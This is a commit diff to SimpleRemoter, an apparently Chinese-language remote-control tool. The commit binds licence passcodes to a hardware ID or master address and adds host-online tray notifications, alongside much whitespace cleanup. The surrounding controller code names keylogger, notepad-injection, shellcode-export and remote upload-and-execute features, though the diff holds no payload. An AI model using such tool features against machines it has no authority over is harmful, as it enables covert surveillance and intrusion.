mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-22 15:23:10 +08:00
Feat&Improve: Support gen pass code binding with domain
This commit is contained in:
@@ -207,40 +207,40 @@ static BOOL IsAgentMode()
|
||||
|
||||
BOOL IsRunningAsAdmin()
|
||||
{
|
||||
BOOL isAdmin = FALSE;
|
||||
PSID administratorsGroup = NULL;
|
||||
BOOL isAdmin = FALSE;
|
||||
PSID administratorsGroup = NULL;
|
||||
|
||||
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
|
||||
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
|
||||
0, 0, 0, 0, 0, 0, &administratorsGroup)) {
|
||||
if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)) {
|
||||
isAdmin = FALSE;
|
||||
}
|
||||
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
|
||||
if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
|
||||
0, 0, 0, 0, 0, 0, &administratorsGroup)) {
|
||||
if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)) {
|
||||
isAdmin = FALSE;
|
||||
}
|
||||
|
||||
FreeSid(administratorsGroup);
|
||||
}
|
||||
FreeSid(administratorsGroup);
|
||||
}
|
||||
|
||||
return isAdmin;
|
||||
return isAdmin;
|
||||
}
|
||||
|
||||
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
|
||||
{
|
||||
SHELLEXECUTEINFOA shExecInfo;
|
||||
ZeroMemory(&shExecInfo, sizeof(SHELLEXECUTEINFOA));
|
||||
shExecInfo.cbSize = sizeof(SHELLEXECUTEINFOA);
|
||||
shExecInfo.fMask = SEE_MASK_DEFAULT;
|
||||
shExecInfo.hwnd = NULL;
|
||||
shExecInfo.lpVerb = verb;
|
||||
shExecInfo.lpFile = szFilePath;
|
||||
shExecInfo.nShow = SW_NORMAL;
|
||||
SHELLEXECUTEINFOA shExecInfo;
|
||||
ZeroMemory(&shExecInfo, sizeof(SHELLEXECUTEINFOA));
|
||||
shExecInfo.cbSize = sizeof(SHELLEXECUTEINFOA);
|
||||
shExecInfo.fMask = SEE_MASK_DEFAULT;
|
||||
shExecInfo.hwnd = NULL;
|
||||
shExecInfo.lpVerb = verb;
|
||||
shExecInfo.lpFile = szFilePath;
|
||||
shExecInfo.nShow = SW_NORMAL;
|
||||
|
||||
return ShellExecuteExA(&shExecInfo);
|
||||
return ShellExecuteExA(&shExecInfo);
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteApp::InitInstance()
|
||||
{
|
||||
char curFile[MAX_PATH] = { 0 };
|
||||
GetModuleFileNameA(NULL, curFile, MAX_PATH);
|
||||
char curFile[MAX_PATH] = { 0 };
|
||||
GetModuleFileNameA(NULL, curFile, MAX_PATH);
|
||||
if (!IsRunningAsAdmin() && LaunchAsAdmin(curFile, "runas")) {
|
||||
Mprintf("[InitInstance] 程序没有管理员权限,用户选择以管理员身份重新运行。\n");
|
||||
return FALSE;
|
||||
|
||||
Binary file not shown.
@@ -373,6 +373,24 @@ std::string GetParentDir()
|
||||
return path;
|
||||
}
|
||||
|
||||
std::string CMy2015RemoteDlg::GetHardwareID(int v)
|
||||
{
|
||||
int version = v == -1 ? THIS_CFG.GetInt("settings", "BindType", 0) : v;
|
||||
switch (version) {
|
||||
case 0:
|
||||
return getHardwareID();
|
||||
case 1: {
|
||||
std::string master = THIS_CFG.GetStr("settings", "master");
|
||||
if (!master.empty()) return master;
|
||||
IPConverter cvt;
|
||||
std::string id = cvt.getPublicIP();
|
||||
return id;
|
||||
}
|
||||
default:
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
||||
{
|
||||
auto s = GetMasterHash();
|
||||
@@ -557,10 +575,10 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_COMMAND(ID_TOOL_RELOAD_PLUGINS, &CMy2015RemoteDlg::OnToolReloadPlugins)
|
||||
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
|
||||
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
|
||||
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
|
||||
ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify)
|
||||
ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog)
|
||||
END_MESSAGE_MAP()
|
||||
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
|
||||
ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify)
|
||||
ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CMy2015RemoteDlg 消息处理程序
|
||||
@@ -797,10 +815,31 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
||||
}
|
||||
std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : "";
|
||||
ShowMessage("操作成功",strIP + tip.c_str() + "主机上线[" + loc + "]");
|
||||
LeaveCriticalSection(&m_cs);
|
||||
Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(),
|
||||
std::to_string(id).c_str());
|
||||
|
||||
bool needNotify = false;
|
||||
NOTIFYICONDATA nidCopy = {};
|
||||
CString infoTitle;
|
||||
CString infoText;
|
||||
if (m_Nid.cbSize == sizeof(NOTIFYICONDATA) && ::IsWindow(m_Nid.hWnd)) {
|
||||
nidCopy = m_Nid; // 复制结构
|
||||
nidCopy.cbSize = sizeof(NOTIFYICONDATA);
|
||||
nidCopy.uFlags |= NIF_INFO;
|
||||
infoTitle = _T("主机上线");
|
||||
infoText = strIP + CString(tip.c_str()) + _T(" 主机上线 [") + loc + _T("]");
|
||||
needNotify = true;
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(),
|
||||
std::to_string(id).c_str());
|
||||
// 在临界区外填充字符串并调用 Shell_NotifyIcon(避免长时间持有 m_cs)
|
||||
if (needNotify) {
|
||||
CStringA titleA(infoTitle);
|
||||
CStringA textA(infoText);
|
||||
lstrcpynA(nidCopy.szInfoTitle, titleA.GetString(), sizeof(nidCopy.szInfoTitle));
|
||||
lstrcpynA(nidCopy.szInfo, textA.GetString(), sizeof(nidCopy.szInfo));
|
||||
nidCopy.uTimeout = 5000;
|
||||
Shell_NotifyIcon(NIM_MODIFY, &nidCopy);
|
||||
}
|
||||
SendMasterSettings(ContextObject);
|
||||
}
|
||||
|
||||
@@ -1060,11 +1099,11 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
AUTO_TICK(500, "");
|
||||
CDialogEx::OnInitDialog();
|
||||
|
||||
UPDATE_SPLASH(15, "正在注册主控信息...");
|
||||
THIS_CFG.SetStr("settings", "MainWnd", std::to_string((uint64_t)GetSafeHwnd()));
|
||||
THIS_CFG.SetStr("settings", "SN", getDeviceID(getHwFallback));
|
||||
THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
|
||||
THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
|
||||
UPDATE_SPLASH(15, "正在注册主控信息...");
|
||||
THIS_CFG.SetStr("settings", "MainWnd", std::to_string((uint64_t)GetSafeHwnd()));
|
||||
THIS_CFG.SetStr("settings", "SN", getDeviceID(GetHardwareID()));
|
||||
THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
|
||||
THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
|
||||
|
||||
UPDATE_SPLASH(20, "正在初始化文件上传模块...");
|
||||
int ret = InitFileUpload(GetHMAC());
|
||||
@@ -1698,10 +1737,11 @@ void CMy2015RemoteDlg::OnOnlineUpdate()
|
||||
}
|
||||
}
|
||||
|
||||
std::string floatToString(float f) {
|
||||
char buf[32];
|
||||
snprintf(buf, sizeof(buf), "%.2f", f);
|
||||
return std::string(buf);
|
||||
std::string floatToString(float f)
|
||||
{
|
||||
char buf[32];
|
||||
snprintf(buf, sizeof(buf), "%.2f", f);
|
||||
return std::string(buf);
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnOnlineDelete()
|
||||
@@ -1722,10 +1762,10 @@ void CMy2015RemoteDlg::OnOnlineDelete()
|
||||
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
|
||||
m_CList_Online.DeleteItem(iItem);
|
||||
m_HostList.erase(ctx);
|
||||
auto tm = ctx->GetAliveTime();
|
||||
std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
|
||||
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
|
||||
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
|
||||
auto tm = ctx->GetAliveTime();
|
||||
std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
|
||||
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
|
||||
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
|
||||
ctx->Destroy();
|
||||
strIP+="断开连接";
|
||||
ShowMessage("操作成功",strIP + "[" + aliveInfo.c_str() + "]");
|
||||
@@ -1840,7 +1880,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail)
|
||||
auto settings = "settings", pwdKey = "Password";
|
||||
// 验证口令
|
||||
CPasswordDlg dlg(this);
|
||||
static std::string hardwareID = getHardwareID(getHwFallback);
|
||||
static std::string hardwareID = GetHardwareID();
|
||||
static std::string hashedID = hashSHA256(hardwareID);
|
||||
static std::string deviceID = getFixedLengthID(hashedID);
|
||||
CString pwd = THIS_CFG.GetStr(settings, pwdKey, "").c_str();
|
||||
@@ -1865,6 +1905,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail)
|
||||
std::string fixedKey = getFixedLengthID(finalKey);
|
||||
if (hash256 != fixedKey) {
|
||||
THIS_CFG.SetStr(settings, pwdKey, "");
|
||||
THIS_CFG.SetStr(settings, "PwdHmac", "");
|
||||
if (pwd.IsEmpty() || hash256 != fixedKey || IDOK != dlg.DoModal()) {
|
||||
if (!dlg.m_sPassword.IsEmpty())
|
||||
MessageBox("口令错误, 无法继续操作!", "提示", MB_ICONWARNING);
|
||||
@@ -2264,27 +2305,30 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
uint64_t hmac = len > 64 ? *((uint64_t*)(szBuffer+62)) : 0;
|
||||
auto v = splitString(passcode, '-');
|
||||
if (v.size() == 6 || v.size() == 7) {
|
||||
std::vector<std::string> subvector(v.end() - 4, v.end());
|
||||
std::string password = v[0] + " - " + v[1] + ": " + GetPwdHash() + (v.size() == 6 ? "" : ": " + v[2]);
|
||||
std::string finalKey = deriveKey(password, sn);
|
||||
std::string hash256 = joinString(subvector, '-');
|
||||
std::string fixedKey = getFixedLengthID(finalKey);
|
||||
valid = (hash256 == fixedKey);
|
||||
std::vector<std::string> subvector(v.end() - 4, v.end());
|
||||
std::string password = v[0] + " - " + v[1] + ": " + GetPwdHash() + (v.size() == 6 ? "" : ": " + v[2]);
|
||||
std::string finalKey = deriveKey(password, sn);
|
||||
std::string hash256 = joinString(subvector, '-');
|
||||
std::string fixedKey = getFixedLengthID(finalKey);
|
||||
valid = (hash256 == fixedKey);
|
||||
}
|
||||
if (valid) {
|
||||
static const char* superAdmin = getenv("YAMA_PWD");
|
||||
std::string pwd = superAdmin ? superAdmin : m_superPass;
|
||||
if (VerifyMessage(pwd, (BYTE*)passcode.c_str(), passcode.length(), hmac)) {
|
||||
Mprintf("%s 校验成功, HMAC 校验成功: %s\n", passcode.c_str(), sn.c_str());
|
||||
std::string tip = passcode + " 校验成功: " + sn;
|
||||
CharMsg* msg = new CharMsg(tip.c_str());
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
|
||||
}
|
||||
else {
|
||||
std::string tip = passcode + " 校验成功: " + sn;
|
||||
CharMsg* msg = new CharMsg(tip.c_str());
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
|
||||
} else {
|
||||
valid = FALSE;
|
||||
Mprintf("%s 校验成功, HMAC 校验失败: %s\n", passcode.c_str(), sn.c_str());
|
||||
}
|
||||
} else {
|
||||
Mprintf("%s 校验失败: %s\n", passcode.c_str(), sn.c_str());
|
||||
}
|
||||
} else {
|
||||
Mprintf("授权数据长度不足: %u\n", len);
|
||||
}
|
||||
char resp[100] = { valid };
|
||||
const char* msg = valid ? "此程序已获授权,请遵守授权协议,感谢合作" : "未获授权或消息哈希校验失败";
|
||||
@@ -2301,9 +2345,8 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
std::string hash = GetPwdHash(), hmac = GetHMAC(100);
|
||||
std::thread(FileBatchTransferWorker, files, dir, ContextObject, SendData, FinishSend,
|
||||
hash, hmac).detach();
|
||||
}
|
||||
else {
|
||||
Mprintf("GetClipboardFiles failed: %d\n", result);
|
||||
} else {
|
||||
Mprintf("GetClipboardFiles failed: %d\n", result);
|
||||
}
|
||||
break;
|
||||
}
|
||||
@@ -2569,10 +2612,10 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
||||
CLock L(m_cs);
|
||||
m_HostList.erase(host);
|
||||
}
|
||||
DialogBase* p = (DialogBase*)wParam;
|
||||
if (p && ::IsWindow(p->GetSafeHwnd()) && p->ShouldReconnect()) {
|
||||
return S_OK;
|
||||
}
|
||||
DialogBase* p = (DialogBase*)wParam;
|
||||
if (p && ::IsWindow(p->GetSafeHwnd()) && p->ShouldReconnect()) {
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
CString ip, port;
|
||||
port.Format("%d", lParam);
|
||||
@@ -2586,9 +2629,9 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
||||
m_CList_Online.DeleteItem(i);
|
||||
m_HostList.erase(ctx);
|
||||
auto tm = ctx->GetAliveTime();
|
||||
std::string aliveInfo = tm>=86400 ? floatToString(tm / 86400.f) + " d" :
|
||||
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
|
||||
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
|
||||
std::string aliveInfo = tm>=86400 ? floatToString(tm / 86400.f) + " d" :
|
||||
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
|
||||
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
|
||||
ShowMessage("操作成功", ip + "主机下线[" + aliveInfo.c_str() + "]");
|
||||
break;
|
||||
}
|
||||
@@ -2671,13 +2714,13 @@ context* CMy2015RemoteDlg::FindHost(int port)
|
||||
|
||||
context* CMy2015RemoteDlg::FindHost(uint64_t id)
|
||||
{
|
||||
CLock L(m_cs);
|
||||
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
|
||||
if ((*i)->GetClientID() == id) {
|
||||
return *i;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
CLock L(m_cs);
|
||||
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
|
||||
if ((*i)->GetClientID() == id) {
|
||||
return *i;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx)
|
||||
@@ -2731,15 +2774,15 @@ BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL,
|
||||
LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
|
||||
LPBYTE p = ContextObject->InDeCompressedBuffer.GetBuffer(41);
|
||||
LPBYTE p = ContextObject->InDeCompressedBuffer.GetBuffer(41);
|
||||
LPBYTE q = ContextObject->InDeCompressedBuffer.GetBuffer(49);
|
||||
uint64_t clientID = p ? *((uint64_t*)p) : 0;
|
||||
uint64_t clientID = p ? *((uint64_t*)p) : 0;
|
||||
uint64_t dlgID = q ? *((uint64_t*)q) : 0;
|
||||
auto mainCtx = clientID ? FindHost(clientID) : NULL;
|
||||
CDialogBase* dlg = dlgID ? (DialogBase*)dlgID : NULL;
|
||||
if (mainCtx) ContextObject->SetPeerName(mainCtx->GetClientData(ONLINELIST_IP).GetString());
|
||||
if (dlg) {
|
||||
if (GetRemoteWindow(dlg->GetSafeHwnd()))
|
||||
if (GetRemoteWindow(dlg))
|
||||
return dlg->UpdateContext(ContextObject);
|
||||
Mprintf("收到远程桌面打开消息, 对话框已经销毁: %lld\n", dlgID);
|
||||
}
|
||||
@@ -2855,7 +2898,8 @@ BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg)
|
||||
return CDialogEx::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) {
|
||||
LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
// WM_COMMAND 不计时
|
||||
if (message == WM_COMMAND) {
|
||||
return CDialogEx::WindowProc(message, wParam, lParam);
|
||||
@@ -2866,13 +2910,12 @@ LRESULT CMy2015RemoteDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
|
||||
LRESULT result = CDialogEx::WindowProc(message, wParam, lParam);
|
||||
|
||||
auto ms = std::chrono::duration_cast<std::chrono::milliseconds>(
|
||||
std::chrono::steady_clock::now() - start).count();
|
||||
std::chrono::steady_clock::now() - start).count();
|
||||
|
||||
if (ms > m_TraceTime) {
|
||||
if (message >= WM_USER) {
|
||||
Mprintf("[BLOCKED] WM_USER + %d 阻塞: %lld ms\n", message - WM_USER, ms);
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
Mprintf("[BLOCKED] MSG 0x%04X (%d) 阻塞: %lld ms\n", message, message, ms);
|
||||
}
|
||||
}
|
||||
@@ -2912,7 +2955,7 @@ LRESULT CMy2015RemoteDlg::ShareClient(WPARAM wParam, LPARAM lParam)
|
||||
void CMy2015RemoteDlg::OnToolAuth()
|
||||
{
|
||||
CPwdGenDlg dlg;
|
||||
std::string hardwareID = getHardwareID(getHwFallback);
|
||||
std::string hardwareID = GetHardwareID();
|
||||
std::string hashedID = hashSHA256(hardwareID);
|
||||
std::string deviceID = getFixedLengthID(hashedID);
|
||||
dlg.m_sDeviceID = deviceID.c_str();
|
||||
@@ -3445,10 +3488,10 @@ void CMy2015RemoteDlg::OnToolRequestAuth()
|
||||
std::string pwd = THIS_CFG.GetStr("settings", "Password");
|
||||
BOOL noPwd = pwd.empty();
|
||||
if (noPwd && IDYES != MessageBoxA("本软件仅限于合法、正当、合规的用途。\r\n您是否同意?",
|
||||
"声明", MB_ICONQUESTION | MB_YESNO))
|
||||
"声明", MB_ICONQUESTION | MB_YESNO))
|
||||
return;
|
||||
CInputDialog dlg(this);
|
||||
dlg.m_str = getDeviceID(getHwFallback).c_str();
|
||||
dlg.m_str = getDeviceID(GetHardwareID()).c_str();
|
||||
dlg.Init(noPwd ? "请求授权" : "序列号", "序列号(唯一ID):");
|
||||
if (!noPwd)
|
||||
dlg.Init2("授权口令:", pwd.c_str());
|
||||
@@ -3807,10 +3850,10 @@ void CMy2015RemoteDlg::OnOnlineUninstall()
|
||||
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
|
||||
m_CList_Online.DeleteItem(iItem);
|
||||
m_HostList.erase(ctx);
|
||||
auto tm = ctx->GetAliveTime();
|
||||
std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
|
||||
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
|
||||
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
|
||||
auto tm = ctx->GetAliveTime();
|
||||
std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
|
||||
tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
|
||||
tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
|
||||
ctx->Destroy();
|
||||
strIP += "断开连接";
|
||||
ShowMessage("操作成功", strIP + "[" + aliveInfo.c_str() + "]");
|
||||
@@ -3882,7 +3925,7 @@ void CMy2015RemoteDlg::OnOnlineRegroup()
|
||||
{
|
||||
CInputDialog dlg(this);
|
||||
dlg.Init("修改分组", "请输入分组名称:");
|
||||
if (IDOK != dlg.DoModal()||dlg.m_str.IsEmpty()){
|
||||
if (IDOK != dlg.DoModal()||dlg.m_str.IsEmpty()) {
|
||||
return;
|
||||
}
|
||||
if (dlg.m_str.GetLength() >= 24) {
|
||||
@@ -3955,7 +3998,7 @@ void CMy2015RemoteDlg::OnExecuteDownload()
|
||||
void CMy2015RemoteDlg::OnExecuteUpload()
|
||||
{
|
||||
CFileDialog dlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_FILEMUSTEXIST,
|
||||
_T("可执行文件 (*.exe)|*.exe||"), this);
|
||||
_T("可执行文件 (*.exe)|*.exe||"), this);
|
||||
|
||||
if (dlg.DoModal() != IDOK)
|
||||
return;
|
||||
@@ -4005,56 +4048,55 @@ void CMy2015RemoteDlg::OnDestroy()
|
||||
|
||||
CString GetClipboardText()
|
||||
{
|
||||
if (!OpenClipboard(nullptr)) return _T("");
|
||||
if (!OpenClipboard(nullptr)) return _T("");
|
||||
|
||||
CString strText;
|
||||
CString strText;
|
||||
|
||||
// 优先获取 Unicode 格式
|
||||
HANDLE hData = GetClipboardData(CF_UNICODETEXT);
|
||||
if (hData) {
|
||||
wchar_t* pszText = static_cast<wchar_t*>(GlobalLock(hData));
|
||||
if (pszText) {
|
||||
// 优先获取 Unicode 格式
|
||||
HANDLE hData = GetClipboardData(CF_UNICODETEXT);
|
||||
if (hData) {
|
||||
wchar_t* pszText = static_cast<wchar_t*>(GlobalLock(hData));
|
||||
if (pszText) {
|
||||
#ifdef UNICODE
|
||||
strText = pszText;
|
||||
strText = pszText;
|
||||
#else
|
||||
// 将 Unicode 转换为多字节(使用系统默认代码页)
|
||||
int len = WideCharToMultiByte(CP_ACP, 0, pszText, -1, nullptr, 0, nullptr, nullptr);
|
||||
if (len > 0) {
|
||||
char* pBuf = strText.GetBuffer(len);
|
||||
WideCharToMultiByte(CP_ACP, 0, pszText, -1, pBuf, len, nullptr, nullptr);
|
||||
strText.ReleaseBuffer();
|
||||
}
|
||||
// 将 Unicode 转换为多字节(使用系统默认代码页)
|
||||
int len = WideCharToMultiByte(CP_ACP, 0, pszText, -1, nullptr, 0, nullptr, nullptr);
|
||||
if (len > 0) {
|
||||
char* pBuf = strText.GetBuffer(len);
|
||||
WideCharToMultiByte(CP_ACP, 0, pszText, -1, pBuf, len, nullptr, nullptr);
|
||||
strText.ReleaseBuffer();
|
||||
}
|
||||
#endif
|
||||
}
|
||||
GlobalUnlock(hData);
|
||||
}
|
||||
}
|
||||
GlobalUnlock(hData);
|
||||
}
|
||||
|
||||
CloseClipboard();
|
||||
return strText;
|
||||
CloseClipboard();
|
||||
return strText;
|
||||
}
|
||||
|
||||
void SetClipboardText(const char* utf8Text)
|
||||
{
|
||||
if (!OpenClipboard(nullptr)) return;
|
||||
EmptyClipboard();
|
||||
if (!OpenClipboard(nullptr)) return;
|
||||
EmptyClipboard();
|
||||
|
||||
// UTF-8 转 Unicode
|
||||
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, nullptr, 0);
|
||||
if (wlen > 0) {
|
||||
HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
|
||||
if (hGlob) {
|
||||
wchar_t* p = static_cast<wchar_t*>(GlobalLock(hGlob));
|
||||
if (p) {
|
||||
MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, p, wlen);
|
||||
GlobalUnlock(hGlob);
|
||||
SetClipboardData(CF_UNICODETEXT, hGlob);
|
||||
}
|
||||
else {
|
||||
GlobalFree(hGlob);
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseClipboard();
|
||||
// UTF-8 转 Unicode
|
||||
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, nullptr, 0);
|
||||
if (wlen > 0) {
|
||||
HGLOBAL hGlob = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
|
||||
if (hGlob) {
|
||||
wchar_t* p = static_cast<wchar_t*>(GlobalLock(hGlob));
|
||||
if (p) {
|
||||
MultiByteToWideChar(CP_UTF8, 0, utf8Text, -1, p, wlen);
|
||||
GlobalUnlock(hGlob);
|
||||
SetClipboardData(CF_UNICODETEXT, hGlob);
|
||||
} else {
|
||||
GlobalFree(hGlob);
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(HWND hWnd)
|
||||
@@ -4067,6 +4109,19 @@ CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(HWND hWnd)
|
||||
return ret;
|
||||
}
|
||||
|
||||
CDialogBase* CMy2015RemoteDlg::GetRemoteWindow(CDialogBase *dlg)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
for (auto& pair : m_RemoteWnds) {
|
||||
if (pair.second == dlg) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return pair.second;
|
||||
}
|
||||
}
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
@@ -4129,9 +4184,8 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam
|
||||
Sleep(100);
|
||||
Mprintf("【Ctrl+V】 从本地拷贝文本到远程 \n");
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
}
|
||||
else {
|
||||
Mprintf("【Ctrl+V】 本地剪贴板没有文本或文件: %d \n", result);
|
||||
} else {
|
||||
Mprintf("【Ctrl+V】 本地剪贴板没有文本或文件: %d \n", result);
|
||||
}
|
||||
}
|
||||
} else if (g_2015RemoteDlg->m_pActiveSession && operateWnd) {
|
||||
@@ -4280,16 +4334,16 @@ void CMy2015RemoteDlg::OnParamLoginNotify()
|
||||
static BOOL notify = THIS_CFG.GetInt("settings", "LoginNotify", 0);
|
||||
notify = !notify;
|
||||
THIS_CFG.SetInt("settings", "LoginNotify", notify);
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||||
SubMenu->CheckMenuItem(ID_PARAM_LOGIN_NOTIFY, notify ? MF_CHECKED : MF_UNCHECKED);
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||||
SubMenu->CheckMenuItem(ID_PARAM_LOGIN_NOTIFY, notify ? MF_CHECKED : MF_UNCHECKED);
|
||||
}
|
||||
|
||||
|
||||
void CMy2015RemoteDlg::OnParamEnableLog()
|
||||
{
|
||||
m_settings.EnableLog = !m_settings.EnableLog;
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||||
SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED);
|
||||
THIS_CFG.SetInt("settings", "EnableLog", m_settings.EnableLog);
|
||||
SendMasterSettings(nullptr);
|
||||
CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
|
||||
SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED);
|
||||
THIS_CFG.SetInt("settings", "EnableLog", m_settings.EnableLog);
|
||||
SendMasterSettings(nullptr);
|
||||
}
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
|
||||
// 2015RemoteDlg.h : 头文件
|
||||
// 2015RemoteDlg.h : 头文件
|
||||
//
|
||||
|
||||
#pragma once
|
||||
@@ -107,14 +106,13 @@ enum {
|
||||
|
||||
class CSplashDlg; // 前向声明
|
||||
|
||||
inline std::string getHwFallback() {
|
||||
IPConverter cvt;
|
||||
return cvt.getPublicIP();
|
||||
}
|
||||
#include "pwd_gen.h"
|
||||
|
||||
// CMy2015RemoteDlg 对话框
|
||||
class CMy2015RemoteDlg : public CDialogEx
|
||||
{
|
||||
public:
|
||||
static std::string GetHardwareID(int v=-1);
|
||||
protected:
|
||||
ComputerNoteMap m_ClientMap;
|
||||
CString GetClientMapData(ClientKey key, int typ)
|
||||
@@ -253,6 +251,7 @@ public:
|
||||
uint64_t m_superID;
|
||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||
CDialogBase* GetRemoteWindow(HWND hWnd);
|
||||
CDialogBase* GetRemoteWindow(CDialogBase* dlg);
|
||||
void RemoveRemoteWindow(HWND wnd);
|
||||
